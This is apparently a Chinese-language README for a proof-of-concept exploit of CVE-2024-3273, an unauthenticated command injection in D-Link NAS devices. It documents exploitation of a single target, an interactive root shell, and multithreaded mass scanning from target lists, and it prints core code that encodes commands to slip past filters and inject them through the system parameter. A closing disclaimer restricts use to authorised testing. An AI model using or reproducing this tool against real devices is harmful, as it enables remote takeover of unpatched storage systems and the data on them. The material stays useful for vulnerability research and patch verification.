D-Link NAS 远程命令执行漏洞利用工具 (CVE-2024-3273)
本项目提供了一个针对 CVE-2024-3273 漏洞的 Proof of Concept (PoC) 利用工具。该漏洞存在于多款 D-Link NAS 设备的 /cgi-bin/nas_sharing.cgi 文件中,允许未经认证的远程攻击者通过操纵 system 参数执行任意系统命令。
功能特性
- 漏洞检测:自动检测目标设备是否存在 CVE-2024-3273 命令注入漏洞。
- 交互式 Shell:成功利用后,可开启一个交互式系统 Shell,方便执行后续操作。
- 命令执行:支持单次任意命令执行并返回输出结果。
- 批量扫描:从文件中读取多个目标地址,支持多线程并发扫描,快速发现网络中受影响设备。
- 美观终端界面:使用
rich和alive_progress库提供彩色输出和进度条显示。
安装指南
系统要求
- Python 3.6 或更高版本
- 支持 Linux / macOS / Windows
依赖安装
使用 pip 安装所需依赖库:
pip install requests rich alive-progress prompt-toolkit
或一次性安装所有依赖:
pip install requests rich alive-progress prompt-toolkit
克隆项目
git clone https://github.com/your-repo/CVE-2024-3273-PoC.git
cd CVE-2024-3273-PoC
使用说明
基础用法
1. 检测单个目标并尝试获取交互式 Shell
python exploit.py -u http://192.168.1.100
2. 批量扫描文件中的目标
创建一个 targets.txt 文件,每行一个目标 URL:
http://192.168.1.1
http://192.168.1.2
http://192.168.1.3
然后执行:
python exploit.py -f targets.txt -t 20
参数说明:
-f:指定包含目标地址的文件-t:指定并发线程数(默认 10)
交互式 Shell 命令
成功获取 Shell 后,支持以下内置命令:
exit:退出交互式 Shellclear:清空控制台屏幕- 任意系统命令:直接在设备上执行(如
ls,id,cat /etc/passwd等)
示例:
Shell> id
uid=0(root) gid=0(root)
Shell> ls /var/www
cgi-bin
index.html
...
Shell> exit
典型使用场景
- 安全评估:在授权范围内检测内部网络中的 D-Link NAS 设备是否存在该漏洞。
- 漏洞验证:快速确认漏洞修复是否生效。
- 应急响应:批量扫描企业内网,定位受影响资产。
API 概览
类 DLinkExploit
| 方法 | 描述 |
|---|---|
test_vuln() | 检测目标是否存在漏洞 |
execute_command(cmd) | 执行单条系统命令并返回输出 |
start_interactive_shell() | 开启交互式命令 Shell |
exploit() | 完整利用流程:检测 -> 开启 Shell |
scanner(target) | 单目标扫描(用于批量) |
scan_from_file(file, threads) | 多线程批量扫描文件中的目标 |
核心代码
漏洞利用核心逻辑
以下代码展示了如何构造恶意命令并通过 base64 编码绕过过滤,最终注入到 system 参数中:
def _construct_command(self, cmd):
# 将命令转换为十六进制字符串格式,如 echo -e \x6c\x73|sh
command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in cmd)
command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')
# Base64 编码后附加到路径参数中
base64_cmd = base64.b64encode(command_final.encode()).decode()
return self.path + base64_cmd
漏洞检测方法
通过发送测试命令并在响应中查找特定字符串来判断漏洞是否存在:
def test_vuln(self):
test_command = self._construct_command("echo QWJSWkkjxwJWJXOjwkjJKW")
try:
response = requests.get(self.target + test_command,
headers=self.headers,
verify=False,
timeout=10)
result = response.text.split("<?xml", 1)[0] if "<?xml" in response.text else None
return "QWJSWkkjxwJWJXOjwkjJKW" in result
except requests.exceptions.RequestException:
return False
多线程批量扫描
使用 ThreadPoolExecutor 和 alive_progress 实现高效的批量漏洞扫描:
def scan_from_file(self, target_file, threads):
with open(target_file, "r") as url_file:
urls = [url.strip() for url in url_file.readlines()]
with alive_bar(len(urls), title="Scanning Targets", bar="smooth") as bar:
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(self.scanner, url) for url in urls]
for future in as_completed(futures):
bar()
交互式 Shell 实现
利用 prompt_toolkit 提供命令历史、语法高亮和友好提示:
def start_interactive_shell(self):
session = PromptSession(history=InMemoryHistory())
while True:
try:
cmd = session.prompt(HTML("<ansiyellow><b>Shell> </b></ansiyellow>"), default="").strip()
if cmd.lower() == "exit":
break
elif cmd.lower() == "clear":
self.clear_console()
continue
output = self.execute_command(cmd)
if output:
print(output)
except KeyboardInterrupt:
break
受影响设备
以下 D-Link NAS 设备受 CVE-2024-3273 漏洞影响:
- DNS-320L
- DNS-325
- DNS-327L
- DNS-340L
免责声明
本工具仅用于安全研究和授权测试目的。使用者需遵守当地法律法规,未经授权使用本工具攻击目标系统属于违法行为。作者不对任何因滥用本工具造成的后果承担责任。 6HFtX5dABrKlqXeO5PUv/3XeKhztQG0upThCx76FIHRJUkRBqn9RiJylDKTT/CrE